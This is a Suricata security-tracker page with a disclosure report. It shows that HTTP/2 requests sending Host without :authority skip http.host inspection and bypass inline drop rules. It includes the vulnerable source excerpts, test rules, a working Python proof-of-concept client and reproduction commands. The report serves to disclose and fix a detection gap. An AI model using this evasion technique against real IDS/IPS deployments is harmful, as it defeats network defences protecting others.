Project

General

Profile

Actions

Security #8774

open
PA PA

http2: Host-only requests bypass host inspection and inline policy

Security #8774: http2: Host-only requests bypass host inspection and inline policy

Added by Philippe Antoine 29 days ago. Updated 1 day ago.

Status:
In Review
Priority:
Normal
Target version:
Affected Versions:
Label:
CVE:
Git IDs:
Severity:
LOW
Disclosure Date:

Description

Original report

# HTTP/2 Host-only requests bypass http.host and http.host.raw inspection

## Summary

Suricata parses and logs an ordinary HTTP/2 Host header when the request omits the :authority pseudo-header, but the HTTP/2 getters that populate the http.host and http.host.raw sticky buffers search only for :authority. They do not fall back to the parsed Host field.

For a Host-only HTTP/2 request, both getters return failure and the C detection callbacks return no inspection buffer. Any alert, drop, reject, dataset, or firewall policy that depends on either host sticky buffer is therefore skipped.

A remote, unauthenticated client demonstrated the issue against a live NFQUEUE inline deployment. The control request used :authority: blocked.example and was dropped by both host rules. An otherwise equivalent request omitted :authority and sent host: blocked.example. The second request produced no drop alert, reached an nghttp2 backend, received HTTP status 200, and retrieved the protected response body.

## Product

Suricata

## Reporter

**GitHub handle:** aramosf

## Affected versions

The affected HTTP/2 host getter behavior is present in:

- Suricata 6.0.4 through 6.0.20.
- Suricata 7.0.0 through 7.0.17.
- Suricata 8.0.0 through 8.0.6.
- The 9.0.0 development branch at commit 8455efd9ac9be052f5f5424805559611e8531b16.

The complete runtime reproduction was performed against Suricata 9.0.0-dev at commit 8455efd9ac9be052f5f5424805559611e8531b16. The release ranges above were established by inspecting their tagged source revisions for the same authority-only getter behavior.

## Severity

**High**

## CWE

**CWE-436: Interpretation Conflict**

## CVSS

**CVSS v4.0: 8.2 High**

**Vector:** CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Metric rationale:

- AV:N — the attacker supplies the HTTP/2 request over the monitored network.
- AC:L — replacing :authority with Host deterministically selects the missing-buffer path.
- AT:P — HTTP/2 must be visible to Suricata, a host-buffer policy must be enabled, and the destination must accept or route a Host-only request.
- PR:N — no Suricata, endpoint, or host privileges are required to trigger the inspection gap.
- UI:N — no user interaction is required.
- VI:H — the defect can reverse an inline security decision from drop to accept for every policy based solely on the affected buffers.
- Direct confidentiality and availability impacts are not claimed.

## Security impact

An unauthenticated client can make a hostname invisible to Suricata host-buffer rules while still presenting it to an accepting HTTP/2 endpoint. In IDS mode this suppresses alerts and creates a protocol-specific monitoring blind spot. In inline IPS mode it can bypass blocklists, datasets, destination restrictions, or custom drop rules based on http.host or http.host.raw.

The demonstrated result was end-to-end backend reachability through a policy that dropped the equivalent :authority request. The flaw does not execute code in Suricata and does not bypass policies that independently identify the traffic through other buffers, TLS metadata, addresses, or endpoint controls.

## Attack preconditions

- The request is parsed as HTTP/2.
- Suricata can observe the HTTP/2 header block. For TLS-protected HTTP/2, headers must be visible after decryption or upstream termination.
- A deployed rule or dataset relies on http.host or http.host.raw.
- The endpoint, proxy, or intermediary accepts or routes a request containing Host without :authority.
- No independent rule blocks the flow before or after the affected host lookup.

The attacker needs only normal TCP reachability and control of the HTTP/2 request headers. Rule or configuration access is not required.

## Technical details

### The transaction parser recognizes Host

HTTP2Transaction::handle_headers() independently recognizes both :authority and the ordinary Host field:

Path: rust/src/http2/http2.rs

~~~rust
fn handle_headers(
    &mut self,
    blocks: &[parser::HTTP2FrameHeaderBlock],
    dir: Direction,
) -> Option<Vec<u8>> {
    let mut authority = None;
    let mut host = None;

    for block in blocks {
        if block.name.eq_ignore_ascii_case(b":authority") {
            authority = Some(&block.value);
        } else if block.name.eq_ignore_ascii_case(b"host") {
            host = Some(&block.value);
        }
    }

    if let Some(a) = authority {
        if let Some(h) = host {
            if !a.eq_ignore_ascii_case(h) {
                self.set_event(HTTP2Event::AuthorityHostMismatch);
            }
        }
    }
    None
}
~~~

If :authority is absent, the parser does not reject the Host-only transaction. Runtime EVE output showed app_proto equal to http2, one parsed transaction, the complete Host field, and hostname equal to blocked.example.

### Both detection getters search only for :authority

The raw HTTP/2 host getter is:

Path: rust/src/http2/detect.rs

~~~rust
pub unsafe extern "C" fn SCHttp2TxGetHost(
    tx: &mut HTTP2Transaction,
    buffer: *mut *const u8,
    buffer_len: *mut u32,
    tbuf: *mut c_void,
) -> u8 {
    let tbuf = cast_pointer!(tbuf, DetectThreadBuf);
    if let Some(value) =
        http2_frames_get_header_value(
            tx, Direction::ToServer, ":authority" 
        )
    {
        /* publish value */
        return 1;
    }
    return 0;
}
~~~

The normalized getter has the same lookup:

~~~rust
pub unsafe extern "C" fn SCHttp2TxGetHostNorm(
    tx: &mut HTTP2Transaction,
    buffer: *mut *const u8,
    buffer_len: *mut u32,
    tbuf: *mut c_void,
) -> u8 {
    let tbuf = cast_pointer!(tbuf, DetectThreadBuf);
    if let Some(value) =
        http2_frames_get_header_value(
            tx, Direction::ToServer, ":authority" 
        )
    {
        match http2_normalize_host(value) {
            /* publish normalized value */
        }
        return 1;
    }
    return 0;
}
~~~

Neither function queries Host when :authority is absent, despite the transaction parser already recognizing and logging Host.

### The missing getter result removes the detection buffers

Path: src/detect-http-host.c

~~~c
static InspectionBuffer *GetData2(
        DetectEngineThreadCtx *det_ctx,
        const DetectEngineTransforms *transforms,
        Flow *_f, const uint8_t _flow_flags,
        void *txv, const int list_id)
{
    InspectionBuffer *buffer =
        SCInspectionBufferGet(det_ctx, list_id);
    if (buffer->inspect == NULL) {
        uint32_t b_len = 0;
        const uint8_t *b = NULL;
        void *thread_buf =
            SCDetectThreadCtxGetGlobalKeywordThreadCtx(
                det_ctx, g_http2_thread_id
            );
        if (thread_buf == NULL)
            return NULL;
        if (SCHttp2TxGetHostNorm(
                txv, &b, &b_len, thread_buf) != 1)
            return NULL;
        if (b == NULL || b_len == 0)
            return NULL;
        SCInspectionBufferSetupAndApplyTransforms(
            det_ctx, list_id, buffer, b, b_len, transforms
        );
    }
    return buffer;
}
~~~

GetRawData2() performs the equivalent check with SCHttp2TxGetHost(). Returning NULL means the rule engine receives no sticky buffer to inspect. The hostname predicate and its configured action are never evaluated for the Host-only request.

An HTTP/1-to-HTTP/2 header-injection helper elsewhere in the parser maps Host to :authority for upgraded traffic. Native HTTP/2 HEADERS decoding does not use that helper, and the runtime transaction confirms that it does not cover this path.

## Rules used for inline reproduction

~~~text
drop http2 any any -> any 18080 (msg:"block normalized HTTP/2 host"; flow:to_server; http.host; content:"blocked.example"; sid:16101; rev:1;)
drop http2 any any -> any 18080 (msg:"block raw HTTP/2 host"; flow:to_server; http.host.raw; content:"blocked.example"; sid:16102; rev:1;)
~~~

Both rules load successfully. With :authority they generate blocked alerts. With Host-only they generate no alert.

## Self-contained proof of concept

The following standard-library Python client sends two cleartext HTTP/2 prior-knowledge requests. It implements the small subset of HTTP/2 framing and HPACK required for the test.

The first request uses the :authority static-table name. The second uses the Host static-table name and omits :authority.

~~~python
#!/usr/bin/env python3
import argparse
import socket
import sys
import time

PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" 

def frame(frame_type, flags, stream_id, payload):
    return (
        len(payload).to_bytes(3, "big")
        + bytes((frame_type, flags))
        + stream_id.to_bytes(4, "big")
        + payload
    )

def hpack_literal(index, value):
    if len(value) > 127:
        raise ValueError("value is too long for this minimal encoder")
    if index < 15:
        name = bytes((index,))
    else:
        name = b"\x0f" + bytes((index - 15,))
    return name + bytes((len(value),)) + value

def request(authority, host_only):
    # Static indexes:
    #   2 = :method GET
    #   6 = :scheme http
    #   4 = :path /
    #   1 = :authority name
    #  38 = host name
    name_index = 38 if host_only else 1
    headers = (
        b"\x82\x86\x84" 
        + hpack_literal(name_index, authority.encode("ascii"))
    )
    settings = frame(4, 0, 0, b"")
    request_headers = frame(1, 5, 1, headers)
    return PREFACE + settings + request_headers

def exchange(host, port, authority, host_only, timeout):
    started = time.monotonic()
    try:
        with socket.create_connection((host, port), timeout=timeout) as sock:
            sock.settimeout(timeout)
            sock.sendall(request(authority, host_only))
            chunks = []
            while True:
                try:
                    chunk = sock.recv(65535)
                except socket.timeout:
                    break
                if not chunk:
                    break
                chunks.append(chunk)
        return b"".join(chunks), None, time.monotonic() - started
    except OSError as error:
        return b"", str(error), time.monotonic() - started

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=18080)
parser.add_argument("--authority", default="blocked.example")
parser.add_argument("--marker", default="RESTRICTED_RESOURCE")
parser.add_argument("--timeout", type=float, default=2.0)
args = parser.parse_args()

control, control_error, control_time = exchange(
    args.host, args.port, args.authority, False, args.timeout
)
bypass, bypass_error, bypass_time = exchange(
    args.host, args.port, args.authority, True, args.timeout
)

marker = args.marker.encode("ascii")
print("authority_control_bytes=%d" % len(control))
print("authority_control_error=%s" % (control_error or "none"))
print("authority_control_seconds=%.2f" % control_time)
print("host_only_bytes=%d" % len(bypass))
print("host_only_error=%s" % (bypass_error or "none"))
print("host_only_seconds=%.2f" % bypass_time)
print("authority_control_blocked=%s" % (
    "true" if marker not in control else "false" 
))
print("host_only_reached_backend=%s" % (
    "true" if marker in bypass else "false" 
))

if marker in control or marker not in bypass:
    sys.exit(1)
~~~

## Reproduction procedure

1. Build Suricata with NFQUEUE and HTTP/2 support.
2. Create a document root whose response contains the literal marker RESTRICTED_RESOURCE.
3. Start a cleartext HTTP/2 server on TCP port 18080. For example:

~~~sh
mkdir -p webroot
printf 'RESTRICTED_RESOURCE\n' > webroot/index.html
nghttpd --no-tls -d webroot 18080
~~~

4. Load the two drop rules above and run Suricata on NFQUEUE 0 in IPS mode:

~~~sh
suricata -c suricata.yaml -S host-drop.rules -q 0
~~~

5. Route both directions of the test connection through NFQUEUE 0. In an isolated test host, representative rules are:

~~~sh
iptables -I OUTPUT -p tcp --dport 18080 \
  -j NFQUEUE --queue-num 0
iptables -I INPUT -p tcp --sport 18080 \
  -j NFQUEUE --queue-num 0
~~~

6. Run the client:

~~~sh
python3 http2_host_only.py \
  --host 127.0.0.1 \
  --port 18080 \
  --authority blocked.example \
  --marker RESTRICTED_RESOURCE
~~~

## Reproduction results

The environment used Suricata 9.0.0-dev with NFQUEUE and HTTP/2 decompression, nghttpd/nghttp2 1.64.0, and two active drop signatures.

| Request representation | Suricata result | Backend result |
|---|---|---|
| :authority: blocked.example | Both host rules alerted with action blocked | No protected response |
| host: blocked.example, no :authority | No host-rule alert | HTTP/2 status 200 and protected marker returned |

The blocked control returned zero response bytes. The Host-only request returned 193 response bytes containing the protected marker. The complete clean-state workflow reproduced in three of three runs.

Offline inspection independently showed that the Host-only transaction was parsed as HTTP/2 and logged with hostname blocked.example while its flow had alerted:false. The :authority control generated both the normalized and raw host alerts.

## Expected and actual behavior

**Expected:** When an HTTP/2 request has no :authority but contains Host, host inspection should either expose the endpoint hostname consistently to both sticky buffers or produce an explicit parse state that does not silently bypass host policy.

**Actual:** Suricata records Host in the HTTP/2 transaction but returns no http.host or http.host.raw buffer. Host-dependent alerting and inline actions silently fail.

## Scope and limitations

- Encrypted HTTP/2 is affected only when Suricata can inspect the decrypted header block.
- The endpoint must accept or route Host-only HTTP/2 requests. nghttpd 1.64.0 did so in the reproduction; endpoint behavior can vary.
- The test used localhost NFQUEUE for isolation. It exercised the real kernel verdict path but did not model a multi-host router.
- Rules using independent traffic indicators can still detect or block the request.
- The issue is a semantic detection and enforcement bypass, not memory corruption.


Subtasks 1 (1 open0 closed)

Security #8965: http2: Host-only requests bypass host inspection and inline policy (8.0.x backport)AssignedPhilippe AntoineActions

Related issues 1 (1 open0 closed)

Related to Suricata - Feature #6424: HTTP/2 - http.host behavior when both :authority pseudo header and host header are presentAssignedPhilippe AntoineActions
Actions

Also available in: PDF Atom